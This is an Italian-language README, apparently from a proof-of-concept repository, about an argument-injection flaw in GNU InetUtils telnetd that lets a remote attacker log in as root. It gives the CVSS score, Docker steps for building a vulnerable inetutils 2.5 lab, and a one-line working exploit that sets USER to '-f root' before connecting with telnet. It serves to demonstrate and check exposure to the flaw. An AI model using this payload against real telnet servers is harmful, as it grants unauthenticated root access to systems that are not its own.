
Vulnerabilità in GNU InetUtils telnetd Consente Accesso Root Remoto
Una vulnerabilità di injection di argomenti recentemente identificata in GNU InetUtils telnetd consente agli attaccanti di aggirare l'autenticazione impostando la variabile d'ambiente USER al valore "-f root". Di conseguenza, un attaccante remoto non autenticato può ottenere accesso ai sistemi che eseguono il servizio telnetd vulnerabile ed elevare i privilegi a root. Se sfruttata con successo, questa falla può consentire agli attaccanti di accedere a informazioni sensibili, modificare le impostazioni di sistema ed eseguire comandi arbitrari, portando potenzialmente a un compromesso completo del sistema.
| Dettaglio CVSS | CNA (MITRE) |
|---|
| Punteggio Base | 9.8 |
| Vettore | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vettore di Attacco | Rete |
| Complessità di Attacco | Bassa |
| Privilegi Richiesti | Nessuno |
| Interazione Utente | Nessuna |
| Scope | Invariato |
| Impatto sulla Riservatezza | Alto |
| Impatto sull'Integrità | Alto |
| Impatto sulla Disponibilità | Alto |
| Versione CVSSv3 | 3.1 |
Siamo riusciti ad accedere al Commit qui sotto del 2015 che mostra la modifica del codice (riga 62) che ha creato questa vulnerabilità.
Lo scopo di questo readme è solo mostrare l'esecuzione dell'exploit, non ogni passaggio che ha generato questa CVE, tuttavia, l'intento è sostituire il segnaposto %U con il valore preso dalla variabile d'ambiente USER. Questa particolare variabile d'ambiente è controllata dall'utente e può essere manipolata tramite il protocollo Telnet 🔥 .
Per questo test, ho creato 2 container utilizzando immagini da Docker Hub, con una versione vulnerabile di InetUtils.
docker run --rm -it --name vuln -p 23:23 ubuntu:22.04 bash
apt update
apt install build-essential wget tar
wget http://ftp.gnu.org/gnu/inetutils/inetutils-2.5.tar.gz
tar -xvzf inetutils-2.5.tar.gz
cd inetutils-2.5
./configure
./configure --enable-telnet
make clean
make
make install
export PATH=$PATH:/usr/local/libexec
apt install openbsd-inetd
echo "telnet stream tcp nowait root /usr/local/libexec/telnetd telnetd" >> /etc/inetd.conf
service openbsd-inetd restart
docker run --rm -it --name attacker ubuntu bash
apt install telnet
Con il payload qui sotto, sostituiamo la variabile USER e aggiriamo il sistema di autenticazione.
USER="-f root" telnet -a 172.17.0.3
Controlla la tua versione di inetutils
hostname --version
telnetd --version
Alla prossima :wink: